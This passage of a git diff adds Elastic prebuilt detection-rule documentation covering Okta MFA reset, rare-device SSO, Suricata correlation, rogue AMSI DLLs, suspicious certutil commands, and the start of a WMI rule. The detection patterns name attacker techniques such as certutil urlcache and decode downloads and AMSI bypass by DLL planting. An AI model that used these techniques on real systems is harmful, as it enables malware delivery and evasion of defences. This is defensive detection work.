Active Directory (AD) services are integrated with Okta. Successfully resetting MFA allows the unauthorized use of stolen credentials to gain access to the compromised Okta account. The attacker can then register their own device for MFA, paving the way for unfettered access to the user's Okta account and any associated SaaS applications. This is particularly alarming if the compromised account has administrative rights, as it could lead to widespread access to organizational resources and configurations. + + +*Possible investigation steps:* + +- Identify the user account associated with the Okta login attempt by examining the `user.name` field. +- Identify the endpoint for the Credential Access alert for this user by examining the `host.name` and `host.id` fields from the alert document. +- Cross-examine the Okta user and endpoint user to confirm that they are the same person. +- Reach out to the user to confirm if they have intentionally reset their MFA credentials recently or asked for help in doing so. +- If the user is unaware of the MFA reset, incident response may be required immediately to prevent further compromise. + + +*False positive analysis:* + +- A Windows administrator may have triggered a low-fidelity credential access alert during a legitimate administrative action. Following this, the administrator may have reset the MFA credentials for themselves and then logged into the Okta console for AD directory services integration management. + + +*Response and remediation:* + +- If confirmed that the user did not intentionally have their MFA factor reset, deactivate the user account. +- After deactivation, reset the user's password and MFA factor to regain control of the account. + - Ensure that all user sessions are stopped during this process. +- Immediately reset the user's AD password as well if Okta does not sync back to AD. +- Forensic analysis on the user's endpoint may be required to determine the root cause of the compromise and identify the scope of the compromise. +- Review Okta system logs to identify any other suspicious activity associated with the user account, such as creation of a backup account. +- With the device ID captured from the MFA factor reset, search across all Okta logs for any other activity associated with the device ID. + +==== Setup + + +The Okta and Elastic Defend fleet integration structured data is required to be compatible with this rule. Directory services integration in Okta with AD synced is also required for this rule to be effective as it relies on triaging `user.name` from Okta and Elastic Defend events. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by user.name with maxspan=12h + [any where host.os.type == "windows" and signal.rule.threat.tactic.name == "Credential Access"] + [any where data_stream.dataset == "okta.system" and okta.event_type == "user.mfa.factor.update"] + [any where data_stream.dataset == "okta.system" and okta.event_type: ("user.session.start", "user.authentication*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-successful-application-sso-from-rare-unknown-client-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-successful-application-sso-from-rare-unknown-client-device.asciidoc new file mode 100644 index 0000000000..8e3a712c51 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-successful-application-sso-from-rare-unknown-client-device.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-21-successful-application-sso-from-rare-unknown-client-device]] +=== Successful Application SSO from Rare Unknown Client Device + +Detects successful single sign-on (SSO) events to Okta applications from an unrecognized or "unknown" client device, as identified by the user-agent string. This activity may be indicative of exploitation of a vulnerability in Okta's Classic Engine, which could allow an attacker to bypass application-specific sign-on policies, such as device or network restrictions. The vulnerability potentially enables unauthorized access to applications using only valid, stolen credentials, without requiring additional authentication factors. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://trust.okta.com/security-advisories/okta-classic-application-sign-on-policy-bypass-2024/ + +*Tags*: + +* Domain: SaaS +* Data Source: Okta +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Successful Application SSO from Rare Unknown Client Device* + + +Single sign-on (SSO) streamlines user access across applications by using a single set of credentials. However, adversaries can exploit vulnerabilities in SSO systems, like Okta's, to bypass security policies using stolen credentials. The detection rule identifies unusual SSO events from unknown devices, signaling potential unauthorized access attempts, thus helping to mitigate risks associated with credential theft. + + +*Possible investigation steps* + + +- Review the event details in the alert to confirm the presence of the "Unknown" or "unknown" client device in the okta.client.device field. +- Check the user-agent string associated with the event to gather more information about the unknown device and assess if it matches any known legitimate devices used by the user. +- Investigate the user's recent login history and patterns to identify any anomalies or deviations from their typical behavior, such as unusual login times or locations. +- Verify if there have been any recent changes to the user's account, such as password resets or modifications to multi-factor authentication settings, which could indicate account compromise. +- Cross-reference the IP address associated with the SSO event against known malicious IP databases or internal threat intelligence to identify potential threats. +- Contact the user to confirm whether they recognize the login activity and the device used, ensuring it was an authorized access attempt. + + +*False positive analysis* + + +- Employees using new or updated devices may trigger false positives. Regularly update the list of recognized devices to include these changes. +- Legitimate users accessing applications from different locations or networks, such as while traveling, can appear as unknown devices. Implement geolocation checks and allow exceptions for known travel patterns. +- Software updates or changes in user-agent strings can cause devices to be misidentified. Monitor for consistent patterns and adjust the rule to accommodate these variations. +- Shared devices in environments like conference rooms or labs may not have unique identifiers. Establish a process to register these shared devices to prevent them from being flagged. +- Temporary network issues causing devices to appear as unknown can lead to false positives. Correlate with network logs to verify if the device is indeed unknown or if it was a transient issue. + + +*Response and remediation* + + +- Immediately isolate the affected user account by disabling it to prevent further unauthorized access. +- Conduct a thorough review of the affected user's recent activity across all Okta-integrated applications to identify any unauthorized actions or data access. +- Reset the affected user's credentials and enforce a password change, ensuring the new password adheres to strong security policies. +- Implement multi-factor authentication (MFA) for the affected user account if not already in place, to add an additional layer of security. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Review and update Okta's device recognition policies to improve detection of unknown or rare devices, reducing the risk of similar incidents. +- Monitor for any further suspicious SSO activities from unknown devices and escalate to the incident response team if additional alerts are triggered. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "okta.system" + and event.action: "user.authentication.sso" + and event.outcome: "success" + and okta.client.device: ("Unknown" or "unknown") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suricata-and-elastic-defend-network-correlation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suricata-and-elastic-defend-network-correlation.asciidoc new file mode 100644 index 0000000000..33314b358c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suricata-and-elastic-defend-network-correlation.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-21-suricata-and-elastic-defend-network-correlation]] +=== Suricata and Elastic Defend Network Correlation + +This detection correlates Suricata alerts with Elastic Defend network events to identify the source process performing the network activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* filebeat-* +* logs-suricata.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/tactics/TA0011/ +* https://www.elastic.co/docs/reference/integrations/suricata +* https://www.elastic.co/docs/reference/integrations/endpoint + +*Tags*: + +* Domain: Endpoint +* Domain: Network +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Suricata +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suricata and Elastic Defend Network Correlation* + + + +*Possible investigation steps* + + +- Investigate in the Timeline feature the two events matching this correlation (Suricata and Elastic Defend). +- Review the process details like command_line, privileges, global relevance and reputation. +- Assess the destination.ip reputation and global relevance. +- Review the parent process execution details like command_line, global relevance and reputation. +- Examine all network connection details performed by the process during last 48h. +- Correlate the alert with other security events or logs to identify any patterns or additional indicators of compromise related to the same process or network activity. + + +*False positive analysis* + + +- Trusted system or third party processes performing network activity that looks like beaconing. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the suspicious processes and all associated children and parents. +- Implement network-level controls to block traffic to the destination.ip. +- Conduct a thorough review of the system's configuration files to identify unauthorized changes. +- Reset credentials for any accounts associated with the source machine. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by source.port, source.ip, destination.ip with maxspan=5s + [network where data_stream.dataset == "suricata.eve" and event.kind == "alert" and + event.severity != 3 and source.ip != null and destination.ip != null and + not source.domain : ("*nessusscan*", "SCCMPS*") and + not rule.name in ("ET INFO SMB2 NT Create AndX Request For a Powershell .ps1 File", "ET SCAN MS Terminal Server Traffic on Non-standard Port")] + [network where event.module == "endpoint" and event.action in ("disconnect_received", "connection_attempted") and + not process.executable in ("System", "C:\\Program Files (x86)\\Admin Arsenal\\PDQ Inventory\\PDQInventoryService.exe") and + not process.executable : "C:\\Windows\\AdminArsenal\\PDQInventory-Scanner\\service-*\\exec\\PDQInventoryScanner.exe"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Standard Port +** ID: T1571 +** Reference URL: https://attack.mitre.org/techniques/T1571/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-activity-reported-by-okta-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-activity-reported-by-okta-user.asciidoc new file mode 100644 index 0000000000..7ba7634594 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-activity-reported-by-okta-user.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-21-suspicious-activity-reported-by-okta-user]] +=== Suspicious Activity Reported by Okta User + +Detects when a user reports suspicious activity for their Okta account. These events should be investigated, as they can help security teams identify when an adversary is attempting to gain access to their network. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 413 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Activity Reported by Okta User* + + +Okta is a widely used identity management service that facilitates secure user authentication and access control. Adversaries may exploit compromised credentials to gain unauthorized access, posing a threat to network security. The detection rule monitors for user-reported suspicious activity, signaling potential unauthorized access attempts. By analyzing these alerts, security teams can swiftly identify and mitigate threats, leveraging Okta's logging capabilities to trace and respond to malicious actions. + + +*Possible investigation steps* + + +- Review the specific event details in the Okta logs where event.dataset is okta.system and event.action is user.account.report_suspicious_activity_by_enduser to gather initial context about the reported activity. +- Identify the user who reported the suspicious activity and check their recent login history and access patterns for any anomalies or deviations from their typical behavior. +- Correlate the reported suspicious activity with other security logs and alerts to determine if there are any related incidents or patterns indicating a broader attack. +- Verify if there are any known vulnerabilities or compromised credentials associated with the user's account that could have been exploited. +- Contact the user to gather additional information about the suspicious activity they observed and confirm whether they recognize any recent access attempts or changes to their account. +- Assess the risk and potential impact of the suspicious activity on the network and determine if any immediate containment or remediation actions are necessary. + + +*False positive analysis* + + +- Users frequently accessing their accounts from new devices or locations may trigger false positives. Implement geofencing or device recognition to reduce these alerts. +- Routine administrative actions, such as password resets or account updates, might be misinterpreted as suspicious. Exclude these actions from alerts if they are performed by known administrators. +- Automated scripts or applications using service accounts can generate alerts if not properly configured. Ensure these accounts are whitelisted or have appropriate permissions set. +- Employees using VPNs or proxy services for remote work can cause location-based false positives. Consider marking known VPN IP addresses as safe. +- High-volume login attempts from legitimate users, such as during password recovery, can be mistaken for suspicious activity. Monitor for patterns and adjust thresholds accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected user account by temporarily disabling it to prevent further unauthorized access. +- Notify the user and relevant stakeholders about the suspicious activity and the actions being taken to secure the account. +- Conduct a password reset for the affected user account and enforce multi-factor authentication (MFA) if not already enabled. +- Review recent login activity and access logs for the affected account to identify any unauthorized access or data exfiltration attempts. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if other accounts or systems have been compromised. +- Implement additional monitoring on the affected account and related systems to detect any further suspicious activity. +- Update security policies and procedures based on findings to prevent similar incidents in the future, ensuring alignment with MITRE ATT&CK framework recommendations for Initial Access and Valid Accounts. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:user.account.report_suspicious_activity_by_enduser + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-antimalware-scan-interface-dll.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-antimalware-scan-interface-dll.asciidoc new file mode 100644 index 0000000000..9d13245540 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-antimalware-scan-interface-dll.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-21-suspicious-antimalware-scan-interface-dll]] +=== Suspicious Antimalware Scan Interface DLL + +Identifies the creation of the Antimalware Scan Interface (AMSI) DLL in an unusual location. This may indicate an attempt to bypass AMSI by loading a rogue AMSI module instead of the legit one. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Antimalware Scan Interface DLL* + + +The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product on a machine. AMSI integrates with multiple Windows components, ranging from User Account Control (UAC) to VBA macros and PowerShell. + +Attackers might copy a rogue AMSI DLL to an unusual location to prevent the process from loading the legitimate module, achieving a bypass to execute malicious code. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Identify the process that created the DLL and which account was used. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the execution of scripts and macros after the registry modification. +- Investigate other processes launched from the directory that the DLL was created. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe: + - Observe and collect information about the following activities in the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + + +*False positive analysis* + + +- This modification should not happen legitimately. Any potential benign true positive (B-TP) should be mapped and monitored by the security team as these modifications expose the host to malware infections. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and file.path != null and + file.name : ("amsi.dll", "amsi") and + event.action != "A process changed a file creation time" and + not file.path : ( + "?:\\$SysReset\\CloudImage\\Package_for_RollupFix*\\amsi.dll", + "?:\\Windows\\system32\\amsi.dll", + "?:\\Windows\\Syswow64\\amsi.dll", + "?:\\$WINDOWS.~BT\\*\\amsi.dll", + "?:\\Windows\\CbsTemp\\*\\amsi.dll", + "?:\\Windows\\SoftwareDistribution\\Download\\*", + "?:\\Windows\\WinSxS\\*\\amsi.dll", + "?:\\Windows\\servicing\\*\\amsi.dll", + "\\\\?\\Volume{*}\\Windows\\WinSxS\\*\\amsi.dll", + "\\\\?\\Volume{*}\\Windows\\system32\\amsi.dll", + "\\\\?\\Volume{*}\\Windows\\syswow64\\amsi.dll", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\system32\\amsi.dll", + "\\Device\\HarddiskVolume*\\Windows\\syswow64\\amsi.dll", + "\\Device\\HarddiskVolume*\\Windows\\WinSxS\\*\\amsi.dll", + "\\Device\\HarddiskVolume*\\$SysReset\\CloudImage\\Package_for_RollupFix*\\amsi.dll", + "\\Device\\HarddiskVolume*\\$WINDOWS.~BT\\*\\amsi.dll", + "\\Device\\HarddiskVolume*\\Windows\\SoftwareDistribution\\Download\\*\\amsi.dll", + "\\Device\\HarddiskVolume*\\Windows\\CbsTemp\\*\\amsi.dll", + "\\Device\\HarddiskVolume*\\Windows\\servicing\\*\\amsi.dll" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-certutil-commands.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-certutil-commands.asciidoc new file mode 100644 index 0000000000..56f8ac5ee0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-certutil-commands.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-21-suspicious-certutil-commands]] +=== Suspicious CertUtil Commands + +Identifies suspicious commands being used with certutil.exe. CertUtil is a native Windows component which is part of Certificate Services. CertUtil is often abused by attackers to live off the land for stealthier command and control or data exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/Moriarty_Meng/status/984380793383370752 +* https://twitter.com/egre55/status/1087685529016193025 +* https://www.sysadmins.lv/blog-en/certutil-tips-and-tricks-working-with-x509-file-format.aspx +* https://docs.microsoft.com/en-us/archive/blogs/pki/basic-crl-checking-with-certutil +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 317 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious CertUtil Commands* + + +`certutil.exe` is a command line utility program that is included with Microsoft Windows operating systems. It is used to manage and manipulate digital certificates and certificate services on computers running Windows. + +Attackers can abuse `certutil.exe` utility to download and/or deobfuscate malware, offensive security tools, and certificates from external sources to take the next steps in a compromised environment. This rule identifies command line arguments used to accomplish these behaviors. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the command line to determine the nature of the execution. + - If files were downloaded, retrieve them and check whether they were run, and under which security context. + - If files were obfuscated or deobfuscated, retrieve them. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the involved files using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "certutil.exe" or ?process.pe.original_file_name == "CertUtil.exe") and + process.args : ("?decode", "?encode", "?urlcache", "?verifyctl", "?encodehex", "?decodehex", "?exportPFX") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-cmd-execution-via-wmi.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-cmd-execution-via-wmi.asciidoc new file mode 100644 index 0000000000..653e0b2f85 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-cmd-execution-via-wmi.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-suspicious-cmd-execution-via-wmi]] +=== Suspicious Cmd Execution via WMI + +Identifies suspicious command execution (cmd) via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* 